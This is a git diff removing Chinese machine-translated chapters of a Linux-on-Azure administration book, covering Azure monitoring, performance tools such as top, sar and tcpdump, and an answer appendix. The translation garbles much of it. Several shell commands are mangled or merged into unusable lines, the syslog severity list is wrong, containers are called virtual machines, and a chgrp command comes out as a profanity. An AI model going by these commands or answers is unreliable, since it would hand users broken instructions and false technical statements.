VM](img/B15455_11_12.jpg) - -###### 图 11.12:导航到监控解决方案选项 - -选择想要的选项,点击**添加**: - -![Management Solutions within Log Analytics](img/B15455_11_13.jpg) - -###### 图 11.13:日志分析中的管理解决方案 - -**服务映射**是一个重要的服务。 它很好地概述了您的资源,并为日志、性能计数器等提供了一个简单的接口。 安装**Service Map**后,您必须在 Linux 机器上安装代理,或者您可以登录 portal 导航到 VM, VM 会自动为您安装代理: - -cd / tmp - -Wget -content-disposition https://aka.ms/dependencyagentlinux \ - -- o InstallDependencyAgent-Linux64.bin - -sudo sh InstallDependencyAgent-Linux64.bin -s .bin 说明 - -安装完成后,选择**Virtual Machines**>**Monitoring**>**Insights**>**Service Map**。 - -现在,点击 - - **![The Summary section in Service Map](img/B15455_11_14.jpg) - -###### 图 11.14:Service Map 的 Summary 部分 - -你可以监控你的应用,查看日志文件,等等: - -![Check log files to moniter the application](img/B15455_11_15.jpg) - -###### 图 11.15:服务映射概述 - -### 日志分析和 Kubernetes - -为了管理容器,您需要详细了解 CPU、内存、存储和网络使用情况以及性能信息。 Azure Monitor 可用于查看 Kubernetes 日志、事件和指标,允许从单个位置监控容器。 您可以使用 Azure CLI、Azure PowerShell、Azure 门户或 Terraform 为新的或现有 AKS 部署的容器启用 Azure Monitor。 - -创建一个新的**AKS**(**Azure Kubernetes Service**)集群,使用**az AKS create**命令: - -az aks create——resource-group MyKubernetes——name myAKS——node-count 1——enable-addons monitoring——generate-ssh-keys - -要在现有的 AKS 集群中启用 Azure Monitor,请使用**az AKS**命令并修改如下: - -az aks enable-addons -a monitoring -n myAKS -g MyKubernetes - -通过选择**Monitor**,然后选择**Containers**,您可以从 Azure 门户启用对 AKS 集群的监控。 在这里,选择**不受监控的集群**,然后选择容器,并单击**启用**: - -![Monitoring AKS cluster from the Azure portal](img/B15455_11_16.jpg) - -###### 图 11.16:从 Azure 门户监控 AKS 集群 - -### 网络日志分析 - -Azure Log Analytics 的另一个解决方案是流量分析。 它可以可视化进出工作负载的网络流量,包括开放的端口。 它能够针对安全威胁生成警报,例如,如果应用试图访问不允许访问的网络。 此外,它还通过日志导出选项提供了详细的监控选项。 - -如果你想使用流量分析,首先你必须为你想分析的每个地区创建一个网络观察者: - -New-AzNetworkWatcher -Name' - --ResourceGroupName-Location - -之后,你必须重新注册网络提供商,并添加 Microsoft Insights,以便网络观察者可以连接到它: - -Register-AzResourceProvider -ProviderNamespace” - -"Microsoft.Network" - -Register-AzResourceProvider -ProviderNamespaceMicrosoft。 的见解 - -您不能在其他提供商(如**Microsoft)中使用此解决方案。 经典网络**。 - -下一步是使用**网络安全组****(NSG)**,通过允许或拒绝进入的流量来控制日志流量。 在撰写本文时,这只可能使用 Azure 门户。 在 Azure 门户的左侧栏中,选择**Monitor**>**Network watchdog**,然后选择**NSG 流量日志**。 现在您可以选择要启用**NSG 流日志**的 NSG。 - -启用它,选择一个存储帐户,并选择您的 Log Analytics 工作区。 - -在信息输入和收集之前需要一些时间。 大约 30 分钟后,第一个信息应该可以看到。 选择 Azure 门户左侧栏中的**Monitor**,转到**网络监控器**,然后转到**流量分析**。 或者,从日志分析工作区开始: - -![Checking Traffic Analytics tab from the Azure portal to view the network traffic flow distribution](img/B15455_11_17.jpg) - -###### 图 11.17:使用 traffic Analytics 查看网络流量分布 - -## 性能监控 - -在 Azure Monitor 中,有许多可用于监控的选项。 例如,性能计数器可以让您深入了解工作负载。 还有一些特定于应用的选项。 - -即使您不使用 Azure Monitor, Azure 也可以为每个 VM 提供所有类型的指标,但不是在一个中心位置。 只需导航到您的 VM。 在“**概述**”区域框中,可以查看 CPU、内存和存储的性能数据。 在**Monitoring**下的**Metrics**部分可以获得详细信息。 各种数据可用,如 CPU 数据、存储数据、网络数据: - -![Using Overview pane the Azure portal to view the performance data for the VM](img/B15455_11_18.jpg) - -###### 图 11.18:查看虚拟机的性能数据 - -其中许多解决方案的问题是,它们是特定于应用的,或者您只看到最终结果,而不知道原因是什么。 如果您需要关于虚拟机所使用的资源的一般性能的信息,请使用 Azure 提供的信息。 如果你需要你正在运行的 web 服务器或数据库的信息,看看是否有 Azure 解决方案。 但在许多场景中,如果能够在 VM 中进行性能故障排除,将非常有帮助。 在某种程度上,我们将从*第 3 章*、*基础 Linux 管理*中的*进程管理*部分开始。 - -在开始之前,有多种方法和方法可以进行性能故障排除。 这本书能提供您应该使用的唯一方法吗?还是告诉您您需要的唯一工具? 不,不幸的是不! 但它能做的是让您了解可用的工具,并至少涵盖它们的基本用法。 对于更具体的需求,您可以查看手册页。 在本节中,我们将特别研究负载是什么以及是什么导致了它。 - -最后一件事:这个部分称为*性能监控*,但这可能不是一个完美的标题。 它是平衡监控、故障排除和分析。 然而,在每个系统工程师的日常生活中,不都是这样吗? - -在 Red Hat/CentOS 存储库中,并不是所有提到的工具都是默认可用的。 您需要配置**epel**存储库:**yum install epel-release**。 - -### 使用 top 显示 Linux 进程 - -如果您研究诸如性能监控和 Linux 这样的主题,总是会提到**top**。 它是快速了解系统上运行内容的首选命令。 - -您可以使用**顶部**显示许多内容,并且它附带了一个解释所有选项的良好手册页。 让我们着眼于最重要的内容,从屏幕顶部开始: - -![Displaying Linux processes with top command](img/B15455_11_19.jpg) - -###### 图 11.19:使用 top 命令显示资源使用情况 - -让我们看看前面截图中提到的选项: - -* **Wait IO**(**wa**):如果该值持续高于 10%,这意味着底层存储降低了服务器的速度。 该参数表示 I/O 进程的 CPU 等待时间。 Azure vm 使用 hdd 而不是 ssd,在 RAID 配置中使用多个 hdd 可能有所帮助,但最好是迁移到 ssd。 如果这还不够,还有高级 SSD 解决方案可供选择。 -* **用户空间 CPU**(**us**):应用的 CPU 利用率; 请注意,CPU 利用率是所有 CPU 的总和。 -* **System CPU**(**sy**):CPU 在内核任务上花费的时间。 -* **Swap**:由于应用没有足够的内存而导致内存被换出。 大多数时候它应该是零。 - -**屏幕底部也有一些有趣的栏目:** - - **![The bottom entries of the output obtained from the top command](img/B15455_11_20.jpg) - -###### 图 11.20:top 命令获得的输出的底部条目 - -就个人而言,我们不建议现在担心优先级和好的值。 对性能的影响很小。 第一个有趣的字段是**VIRT**(虚拟内存)。 这是指程序目前可以访问的内存容量。 它包括与其他应用共享的内存、视频内存、应用读入内存的文件等等。 它还包括空闲内存、交换内存和驻留内存。 驻留内存是这个进程在物理上使用的内存。 SHR 是应用之间共享的内存量。 这些信息可以给你一个想法的交换**你应该在您的系统上配置:五大过程,**VIRT**加起来,再减去【显示】RES 和**月**。 这并不完美,但这是一个很好的指标。** - - **上图中的**S**栏为机器状态: - -* **D**是不可中断睡眠,大部分时间是由等待存储或网络 I/O 造成的。 -* **R**正在消耗 CPU。 -* **S**在 I/O 上休眠等待,没有 CPU 占用。 等待用户或其他进程的触发。 -* **T**被作业控制信号停止,大部分时间是由于用户按了*Ctrl*+*Z*。 -* **Z**是僵尸-父进程已经死亡。 当内核忙于清理时,它被内核标记为僵尸。 在物理机器上,它也可以表示 cpu 出现故障(由温度或劣质 bios 引起); 在这种情况下,你可能会看到很多僵尸。 在 Azure 中,这不会发生。 僵尸不会伤人,所以不要杀他们; 内核会处理它们。 - -### 首选 - -有许多类似于**top**的实用程序,例如**htop**,它们看起来更漂亮,也更容易配置。 - -非常相似但更有趣的是**在**之上。 它包含所有进程及其资源使用情况,甚至包括在顶部的**屏幕更新之间死亡的进程。 这种全面的说明对于理解单个短期进程的问题非常有帮助。** 之上的**还能够收集关于运行容器、网络和存储的信息。** - -另一个是**nmon**,类似于之上的**,但更侧重于统计,提供更详细的信息,特别是在内存和存储方面:** - -![Using nmon command to get Performance details of memory, CPU and storage](img/B15455_11_21.jpg) - -###### 图 11.21:内存、CPU 和存储的性能细节 - -**nmon**也可用于采集数据: - -Nmon -f -s 60 -c 30 - -前面的命令以逗号分隔的文件格式每分钟收集 30 轮信息,这种格式很容易在电子表格中解析。 在 IBM 的开发人员网站[http://nmon.sourceforge.net/pmwiki.php?n=Site.Nmon-Analyser](http://nmon.sourceforge.net/pmwiki.php?n=Site.Nmon-Analyser)上,您可以找到一个 Excel 电子表格,它使这项工作变得非常简单。 它甚至提供了一些额外的数据分析选项。 - -**瞟**最近也广受欢迎。 它是基于 python 的,并提供关于系统、运行时间、CPU、内存、交换、网络和存储(磁盘 I/O 和文件)的当前信息: - -![Using the glances utility to view the performance](img/B15455_11_22.jpg) - -###### 图 11.22:使用 glances 实用程序查看性能 - -**glance**是**top**的最高级选择。 它提供了替代方案的所有特性,而且最重要的是,您可以远程使用它。 您需要提供您的服务器的用户名和密码来启动**浏览**: - -glance—用户名—密码—服务器 - -在客户端也执行以下操作: - -——客户@ - -系统默认使用**61209**端口。 如果您使用**-webserver**参数而不是**——server**,您甚至不需要客户机。 在端口**61208**上有一个完整的 web 界面! - -**glances**能够以多种格式导出日志,并可以使用 API 进行查询。 **SNMP**(**简单网络管理协议**)协议的实验支持也在进行中。 - -### Sysstat -一个性能监控工具的集合 - -**sysstat**包包含用于性能监控的实用程序。 Azure 中最重要的是**sar**,**iostat**和**pidstat**。 如果你也在使用 Azure 文件,**cifsiostat**也可以非常方便。 - -**sar**是主要的效用。 主要语法是这样的: - -sar -间隔计数 - -例如,使用该命令报告 CPU 统计信息 5 次,间隔为 1 秒: - -sar -u 1 5 - -要监控核心**1**和**2**,使用以下方法: - -sar -P 1 2 1 5 - -(如果希望单独监控所有内核,可以使用**all**关键字。) - -这里有一些其他重要的资源: - -* **-r**:内存 -* **-S**:交换 -* **-d**:磁盘 -* **-n **: Network types, such as these: - - **DEV**:显示网络设备统计信息 - - **EDEV**:显示网络设备故障(错误)统计信息 - - **NFS**:显示**NFS**(**网络文件系统**)客户端活动 - - **SOCK**:显示 IPv4 使用的 socket - - **IP**:显示 IPv4 网络流量 - - **TCP**:显示 TCPv4 的网络流量 - - **UDP**:显示 UDPv4 网络流量 - - **ALL**:显示上述所有信息 - -**pidstat**可以通过进程 ID 从一个指定的 ic 进程中收集 CPU 数据。 在下一个屏幕截图中,您可以看到每 5 秒显示 2 个示例。 **pidstat**可以对内存和磁盘执行同样的操作: - -![Using pidstat command to get the performance on CPU data from a specific process](img/B15455_11_23.jpg) - -###### 图 11.23:使用 pidstat 显示 CPU 统计信息 - -**iostat**是一个实用程序,顾名思义,它可以测量 I/O,但也可以创建 CPU 使用的报告: - -![Using iostat command to get the performance statistics for I/O](img/B15455_11_24.jpg) - -###### 图 11.24:使用 iostat 获取 CPU 和设备报告和统计数据 - -**tps**表示每秒发送到设备的传输次数。 **kb_read/s**和**kB_wrtn/s**是 1 秒内测量的千字节数; 前面截图中的**avg-cpu**列是自 Linux 系统启动以来的统计总数。 - -在安装**sysstat**包的过程中,在**/etc/cron 中安装了 cron 作业。 d/sysstat**文件。 - -#### 请注意 - -在现代 Linux 系统中,可以使用**系统计时器**和使用**cron**的旧方法。 **sysstat**仍然使用**cron**。 要查看**cron**是否可用并正在运行,请执行**systemctl | grep cron**。 - -**cron**每 10 分钟运行一次**sa1**命令。 它收集系统活动并将其存储在二进制数据库中。 每天执行一次**sa2**命令生成报告。 数据保存在**/var/log/sa**目录下。 您可以使用**sadf**查询该数据库: - -![Using sadf command to query the database for system activity](img/B15455_11_25.jpg) - -###### 图 11.25:使用 sadf 查询数据库以获取系统活动 - -这个截图显示了 11 月 6 日的数据,在**09:00:00**和**10:10:00**之间。 默认情况下,它显示 CPU 统计信息,但是你可以使用与**sar**相同的参数来定制它: - -sadf /var/log/sa/sa03——-n DEV - -这将显示 11 月 6 日每个网络接口的网络统计信息。 - -### dstat - -**sysstat**用于历史报表,**dstat**用于实时报表。 **top**是**ps**的监控版本,**dstat**是**sar**的监控版本: - -![Getting real-time reports with dstat command](img/B15455_11_26.jpg) - -###### 图 11.26:使用 dstat 获取实时报告 - -如果你不想一次看到所有内容,你可以使用以下参数: - -* **c**:CPU -* **d**:硬盘 -* **n**:网络 -* **g**:分页 -* **s**:交换 -* **m**:内存 - -### 网络统计与 iproute2 - -在本章前面,我们讨论了**ip**。 这个命令还提供了一个选项来获取网络工作接口的统计信息: - -IP -s link show dev eth0 - -![Getting the statistics for the network interface using ip -s link show dev eth0 command](img/B15455_11_27.jpg) - -###### 图 11.27:获取网络接口的统计信息 - -它解析来自**/proc/net**目录的信息。 另一个可以解析此信息的实用程序是**ss**。 一个简单的总结可以与此要求: - -ss - s - -使用**-t**参数不仅可以显示处于监听状态的端口,还可以显示该特定接口的进出流量。 - -如果您需要更多的细节,**iproute2**包提供了另一个实用程序:**nstat**。 使用**-d**参数,您甚至可以以间隔模式运行它: - -![Getting a detailed report about the ports in a listening state using nstat utility](img/B15455_11_28.jpg) - -###### 图 11.28:获取关于处于侦听状态的端口的详细报告 - -这已经远远超过了**ss**的简单总结。 但是**iproute2**套餐有更多的功能:**lnstat**。 - -该命令提供网络统计信息,如路由缓存统计信息: - -lnstat––d - -![Getting the network statistics with lnstat––d command](img/B15455_11_29.jpg) - -###### 图 11.29:使用 lnstat -d 获取网络统计信息 - -这显示了它可以显示或监控的一切。 它是相当低级的,但是我们已经使用**lnstat -f/proc/net/stat/nf_conntrack**解决了一些防火墙性能相关的问题,同时监控**drop**计数器。 - -### 基于 IPTraf-NG 的网络监控 - -您可以从**nmon**等工具中获得网络详细信息,但是如果您想要更多的详细信息,那么 IPTraf-NG 对于基于控制台的实时网络监控解决方案来说是一个非常好的工具。 它是一个基于控制台的网络监控实用程序,它收集所有网络 IP、TCP、UDP 和 ICMP 数据,并能够根据 TCP/UDP 的大小分解信息。 一些基本的过滤器也包括在内。 - -所有的一切都是在菜单驱动的界面中,所以没有参数你必须记住: - -![Menu window of IPTraf-NG](img/B15455_11_30.jpg) - -###### 图 11.30 IPTraf-NG 菜单窗口 - -### tcpdump - -当然,**tcpdump**不是性能监控解决方案。 这个实用工具是监控、捕获和分析网络流量的好工具。 - -执行以下命令查看所有网口的网络流量: - -tcpdump -我任何 - -对于特定的接口,尝试以下操作: - -tcpdump -i eth0 - -一般来说,不解析主机名是一个好主意: - -tcpdump -n -i eth0 - -通过重复**v**参数,您可以添加不同的详细级别,最多可以添加三个详细级别: - -tcpdump -n -i eth0 -vvv - -您可以根据主机对流量进行过滤: - -tcpdump 主机-n -i eth0 - -也可以根据源 IP 或目的 IP 进行过滤: - -tcpdump src-n -i eth0 . xml - -tcpdump dst -n -i eth0 - -过滤特定端口也是可能的: - -tcpdump 端口 22 - -tcpdumpsrc port 22 - -Tcpdump 不是端口 22 - -所有参数可以组合: - -tcpdump -n dst netand not port ssh -c 5 - -增加**-c**参数,只捕获 5 个报文。 您可以将捕获的数据保存到一个文件: - -tcpdump -v -x -XX -w /tmp/capture.log - -增加了两个参数,以增加与其他能够读取**tcpdump**格式的分析仪的兼容性: - -* **-XX**:以十六进制和 ASCII 格式输出每个报文的数据 -* **-x**:为每个报文添加报头 - -要以人类可读的格式读取完整的时间戳数据,使用以下命令: - -tcpdump -tttt -r /tmp/capture.log - -#### 请注意 - -另一个伟大的网络分析器是 Wireshark。 它是一种可用于许多操作系统的图形化工具。 该分析器可以从**tcpdump**导入捕获的数据。 它为许多不同的网络协议和服务提供了一个伟大的搜索过滤器和分析工具。 - -为了在 Wireshark 中进一步分析数据,在 VM 中进行捕获并将其下载到工作站上是有意义的。 - -我们相信,您现在能够在 Linux 系统中使用不同的工具来监控 CPU、内存、存储和网络细节等指标,从而实现良好的性能分析。 - -## 总结 - -在本章中,我们讨论了关于故障排除、日志记录、监控甚至分析的几个主题。 从访问 VM 开始,我们研究了 Linux 中的本地和远程日志记录。 - -性能监控和性能故障排除之间只有一线之隔。 有很多很多不同的实用程序可以用来找出导致性能问题的原因。 每一个都有不同的目标,但也有大量的重叠。 我们已经介绍了 Linux 中最流行的实用程序和一些可用的选项。 - -在第一章中,我们看到 Azure 是一个非常友好的开源环境,微软也在努力使 Azure 成为一个考虑到互操作性的开放、标准的云解决方案。 在本章中,我们看到微软不仅在部署应用时投入了大量精力来支持 Linux,而且还在 Azure Monitor 中支持 Linux。 - -## 问题 - -1. 为什么 VM 中至少要有一个用户具有密码? -2. **system -journal**守护进程的目的是什么? -3. 什么是 syslog 功能? -4. syslog 中有哪些优先级可用? -5. 如何向日志中添加条目,为什么要这样做? -6. 在 Azure 中有哪些服务可以用来查看指标? -7. 为什么**top**只在查看与性能相关的问题时才有用?哪些实用程序或实用程序可以解决这个问题? -8. **sysstat**和**dstat**实用程序有什么区别? -9. 为什么要在工作站上安装 Wireshark ? - -## 进一步阅读 - -一个很大的信息来源是 Brendan D Gregg([http://www.brendangregg.com](http://www.brendangregg.com))的网站,在那里他分享了一长串的 Linux 性能文档、幻灯片、视频等。 除此之外,还有一些不错的设施! 是他在 2015 年教我正确识别问题的重要性: - -* 是什么让你觉得有问题? -* 有没有什么时候不存在问题? -* 最近有什么变化吗? -* 尝试查找技术描述,例如延迟、运行时错误等等。 -* 仅仅是应用,还是其他资源也受到影响? -* 想出一个准确的环境描述。 - -你还必须考虑以下几点: - -* 是什么导致了负载(哪个进程、IP 地址等等)? -* 为什么要调用装载? -* 负载使用了哪些资源? -* 负载改变了吗? 如果是,它是如何随时间变化的? - -最后,但并非最不重要的,有本杰明·凯恩的《红帽企业 Linux 故障排除指南》*。 我知道,这本书的一些部分已经过时了,因为它是 2015 年出版的。 当然,我当然希望有第二版,但是,特别是如果您是 Linux 新手,请购买这本书。*********** \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/12.md b/docs/handson-linux-admin-azure/12.md deleted file mode 100644 index d84551cd..00000000 --- a/docs/handson-linux-admin-azure/12.md +++ /dev/null @@ -1,197 +0,0 @@ -# 十二、附录 - -本章为前几章中提出的所有问题提供了一套解决方案。 如果你已经回答了这些问题,你可以检查你的答案的准确性。 如果您当时无法找到解决方案,您可以参考这里给出的各章的答案。 - -## 第一章:探索微软 Azure 云 - -1. 您可以对计算、网络和存储资源进行虚拟化。 当然,在一天结束的时候,您仍然需要世界上某个地方的硬件来运行管理程序,并且可能需要在其之上的云平台。 -2. 虚拟化模拟硬件,容器模拟操作系统,其中多个容器在底层操作系统上运行。 在虚拟化中,每个虚拟机都有自己的内核; 它们不使用 hypervisor/硬件内核。 在硬件虚拟化中,一切都被转换为软件。 在容器虚拟化中,只有进程是隔离的。 -3. 视情况而定; 你们是在同一个平台上开发应用的吗? 如果是,那么 PaaS 是适合您的服务类型; 否则,使用 IaaS。 SaaS 提供一个应用; 它不是一个托管平台。 -4. 视情况而定。 Azure 遵循并帮助您遵守法律规则和安全/隐私政策。 此外,如果担心数据在世界其他地方,还有不同地区的概念。 但总有例外——大多数情况下,是公司政策或政府规定。 -5. 它对于可伸缩性、性能和冗余非常重要。 -6. 它是一个基于云的身份管理服务,用于控制对云和本地混合环境的访问。 它允许您登录并访问云和本地环境,而不是使用您自己的 AD 服务器并管理它们。 - -## 第二章:Azure 云入门 - -1. 它有助于自动化。 除此之外,基于 web 的门户经常变化,命令行界面更加稳定。 在我们看来,它还让您更好地理解底层技术,这要归功于其或多或少严格的工作流。 -2. 它提供了存储所有数据对象的访问。 您将需要一个用于 Azure Cloud Shell 的启动诊断和数据。 更多细节可以在*第 4 章*,*管理 Azure*中找到。 -3. 存储帐户在 Azure 中必须是全局唯一的。 -4. offer 是由发行商(如 Ubuntu Server)提供的一组相关图片。 图像是一个特定的图像。 -5. 停止的 Azure 虚拟机将保持已分配的资源(如动态公网 IP 地址),并产生成本,而重新分配的虚拟机将释放所有资源,从而停止产生资源成本。 但是,两者都会产生存储成本。 -6. 基于密钥的身份验证有助于自动化,因为它可以在您的脚本中使用而不暴露秘密/密码。 -7. 将创建一个公共密钥和一个私有密钥(如果它们仍然是必需的),并将它们存储在您的主目录(**~/)中。 ssh**; 公钥将被添加到虚拟机中的**authorized_keys**文件中 - -## 第三章:Linux 基础管理 - -1. **for user in Lisa John Karel Carola; useradd $用户; 完成**。 -2. 执行**passwd**,然后输入**welc0meITG**,系统会要求您再次输入密码进行确认,请再次输入**welc0meITG**。 -3. **获得<用户>** -4. **groupadd finance;** **分组添加员工** -5. **groupmems -g-a 或者**usermod -a -G**。** -6. To create the directory and set group ownership, execute the following: - - mkdir / home /好吗 - - 乔恩员工/home/staff - - 他妈的严重 - - 类似地,对于**金融**,执行以下命令: - - mkdir /home/finance - - 乔恩金融/home/finance - - chgrp 金融/home/finance - -7. **chmod -R g+r /home/finance** -8. 默认的获取访问控制列表(**getfacl -d**)将列出用户的 ACL。 - -## 第 4 章:管理 Azure - -1. You don't need anything when you create a virtual machine using the Azure portal. When you use the command line, you need virtual networks with the following: - - 资源组 - - Azure**虚拟网络**(**VNet**) - - 一个配置的子网 - - 网络安全组 - - 一个公网 IP 地址 - - 网络接口 - -2. 您需要诊断和监控等名称服务,这些服务需要存储帐户。 -3. 有时(例如,对于存储帐户),名称必须是唯一的。 前缀结合随机生成的数字是使名称可识别和惟一的好方法。 -4. 定义可在虚拟网络中使用的 IP 范围。 -5. 在虚拟网络中创建一个或多个子网,这些子网可以相互隔离或路由到彼此,而不需要走出虚拟网络。 -6. 网络安全组为网络提供 acl,并向虚拟机或容器提供端口转发功能。 -7. 从虚拟机到 internet 的流量通过**源网络地址转换**(**SNAT**)进行发送。 这意味着原始包的 IP 地址被替换为公共 IP 地址,这是 TCP/IP 出站和入站路由所必需的。 -8. 动态分配的公网 IP 地址将在虚拟机释放时被释放。 当虚拟机再次启动时,它将获得另一个 IP 地址。 当业务 IP 地址发生变化,必须保持不变时,可以创建并分配静态公网 IP 地址。 - -## 第五章:高级 Linux 管理 - -1. Linux 内核。 -2. **system -udevd;** -3. **ls /sys/class/net**and**ip link show**。 -4. Linux 的 Azure 代理。 -5. **ls /sys/class/net**和**lsblk**。 **lsscsi**命令也会有帮助。 -6. 使用**RAID0**来提高性能,与只使用单个磁盘相比,可以提高吞吐量,这是一个好主意。 -7. 在文件系统级别,使用**b -树文件系统**(**BTRFS)或文件系统**Z**(【ZFS T6】**),或在块上使用 Linux 软件 RAID(【显示】mdadm)或**逻辑卷管理器(LVM【病人】)(不包括在这一章)。** -*** Create the RAID, format it, and make a mount point: - - mkfs -create /dev/md127——level 0——raid-devices 3 \ /dev/sd{c,d,e} mkdir /mnt/myraid . xfs -L myraid /dev/md127 - - 创建一个单元文件**/etc/systemd/system/mnt-myraid。 mount**: - - [Unit]Description = myRaid volume [Mount]Where = /mnt/ myRaid What = /dev/md127 Type = xfs [Install]WantedBy = local-fs.mount . conf . conf . conf . conf . conf . conf . conf . conf - - 启动并启用它在启动: - - Systemctl enable——now mnt-myraid.mount** - - **## 第六章:管理 Linux 安全与身份 - -1. 使用**firewall-cmd**文件,或者在**/etc/firewall**目录下部署**可扩展标记语言**(**XML**)文件。 -2. **——permanent**参数使其在重新引导和启动配置期间持续执行。 -3. 在 Linux 中,可以在 systemd 中使用 acl 来限制访问。 一些应用还提供其他主机允许/拒绝选项。 在 Azure 中,您有网络安全组和 Azure Firewall 服务。 -4. **Discretionary access control**(**DAC**)用于限制基于用户/组和文件权限的访问。 **强制访问控制**(**MAC**)对每个资源对象的分类标签进行进一步的访问限制。 -5. 如果有人非法访问一个应用或系统,使用 DAC,就没有办法阻止进一步访问,特别是对于具有相同用户/组所有者的文件和具有其他人权限的文件。 -6. Every device will have a unique MAC address and you can find your virtual machine's MAC address using **ipconfig/ all** and then look for Physical Address. - - 使用 Linux 安全模块的 MAC 框架如下: - - SELinux:基于 Red hat 的发行版和 SUSE - - AppArmor: Ubuntu and SUSE - - 不太为人所知的 TOMOYO (SUSE):本书没有涉及 - -7. 除了 SELinux 可以保护更多的资源对象之外,AppArmor 直接使用路径,而 SELinux 通过细粒度的访问控制保护整个系统。 -8. You need the following prerequisites before joining an AD domain: - - 用于授权的 Kerberos 客户机 - - **系统安全服务守护进程**(**SSSD**):负责配置和使用诸如使用和缓存凭据等特性的后端 - - Samba 库与 Windows 特性/选项兼容 - - 一些用于连接和管理域的实用程序,如**realm**、**adcli**和**net**命令 - -## 第七章:部署虚拟机 - -1. 我们使用自动化部署来节省时间,快速建立和运行可复制的环境,并避免手动错误。 -2. 除了对前一个问题的回答,标准化的工作环境使基于团队的应用开发成为可能。 -3. 脚本非常灵活。 脚本更容易创建,并且可以随时手动调用。 自动化进程可以通过一些事件来触发,比如使用**Git push**向 Git 添加代码,或者虚拟机的停止/启动。 -4. Azure 资源管理器是最重要的一个。 此外,您还可以使用 Terraform、Ansible 和 PowerShell。 -5. Vagrant 在 Azure 中部署了一个工作负载; Packer 创建一个您可以部署的自定义映像。 -6. For multiple reasons, the most important ones are the following: - - 安全,使用 CIS 标准加固图像 - - 当需要对标准图像进行定制时 - - 不依赖于第三方的产品 - - 捕获一个现有的虚拟机 - - 将快照转换为映像 - -7. You can create your own image by building your own VHD file. The following are the options for doing so: - - 在 Hyper-V 或 VirtualBox 中创建一个虚拟机,这是一个用于 Windows、Linux 和 macOS 的免费 hypervisor。 - - 在 VMware Workstation 或 KVM 中创建虚拟机,并在 Linux qemu-img 中使用它来转换映像。 - -## 第八章:探索连续配置自动化 - -示例脚本可以在 GitHub 上的[https://github.com/PacktPublishing/Hands-On-Linux-Administration-on-Azure---Second-Edition/tree/master/chapter12/solutions_chapter08](https://github.com/PacktPublishing/Hands-On-Linux-Administration-on-Azure---Second-Edition/tree/master/chapter12/solutions_chapter08)找到。 - -## 第 9 章:Azure 中的容器虚拟化 - -1. 您可以使用容器来打包和分发应用,它可以是独立于平台的。 容器消除了对虚拟机和操作系统管理的需求,并帮助您实现高可用性和可伸缩性。 -2. 如果您的应用非常庞大,需要底层虚拟机的所有资源,那么不适合使用容器。 -3. **Linux 容器**(**LXCs**)是可以在 Azure 中提供的最佳解决方案。 -4. 像 Buildah 这样的工具使得创建可以在每个解决方案中使用的虚拟机成为可能。 Rkt(发音为“rocket”)也支持 Docker 格式。 Open Container Initiative 正在努力创建一些标准,使创建虚拟机更加容易。 -5. 您可以在 Azure 中开发所有内容,也可以在本地开发,然后将其推送到远程环境中。 -6. 它与容器平台无关,而且 Buildah 工具比其他工具更容易使用。 您可以在[https://github.com/containers/buildah](https://github.com/containers/buildah)进一步探索。 -7. 可以根据需要构建、替换、停止和销毁容器,而不会对应用或数据产生任何影响,因此不建议在容器中存储任何数据。 相反,将它存储在一个卷中。 - -## 第十章:使用 Azure Kubernetes 服务 - -1. pod 是一组具有共享资源(如存储和网络)的容器,以及关于如何运行容器的规范。 -2. 创建多容器吊舱的一个很好的理由是为了支持主应用的协同定位、协同管理的 helper 进程。 -3. 除了**Azure Kubernetes Service**(**AKS**)之外,还有多种可用的方法,包括 Draft 和 Helm,这在本章中已经讨论过。 -4. 您可以使用**kubectl**来更新 AKS 中的应用。 此外,您还可以使用 Helm 和 Draft。 -5. 你不需要自己手动操作; 它将由 AKS 自动完成。 -6. 当您想从多个容器中同时读/写时,您将需要一个 iSCSI 解决方案和一个集群文件系统。 -7. 示例代码在 GitHub 上的[https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/aks/azure-disks-dynamic-pv.md](https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/aks/azure-disks-dynamic-pv.md)提供。 - -## 第十一章:故障排除和监控您的工作负载 - -1. 您可以使用 Azure Serial Console 作为根用户访问虚拟机,无需密码,除非它被特别阻止。 -2. 收集所有标准输出、syslog 消息以及来自内核、systemd 进程和单元的相关消息。 -3. syslog uses the following list of severities (per application): - - **Alert**:必须立即采取行动。 - - **Critical**:危急状态。 - - **Error**:错误条件。 - - **Warning**:警告条件。 - - **注意事项**:正常但有显着性。 - - **Informational**:Informational 消息。 - - **Debug**:调试级消息。 - -4. 0-紧急 1-警告 2-紧急 3-错误 4-警告 5-通知 6-提示 7-调试 -5. 使用**logger**或**systemd-cat**。 如果应用或脚本不支持 syslog,可以使用它。 另一种选择是添加日志记录条目作为变更管理的一部分。 -6. Azure Log Analytics 服务用于查看虚拟机的指标。 -7. **top**实用程序存在几个缺点; 例如,您不能看到短暂的进程。 在和**dstat**之上的**实用程序是这个问题的解决方案。** -8. **sysstat**工具提供历史数据; **dstat**提供实时监控。 -9. 它使来自 Azure 虚拟机(工作站)的**tcpdump**的数据收集更易于阅读,并具有很大的分析潜力。** \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/README.md b/docs/handson-linux-admin-azure/README.md deleted file mode 100644 index 0ee5c539..00000000 --- a/docs/handson-linux-admin-azure/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Azure 上的 Linux 管理实用指南 - -> 原文:[Hands-on Linux administration on Azure](https://libgen.rs/book/index.php?md5=0EE39A6B040A18FF64595B6B3C82179F) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 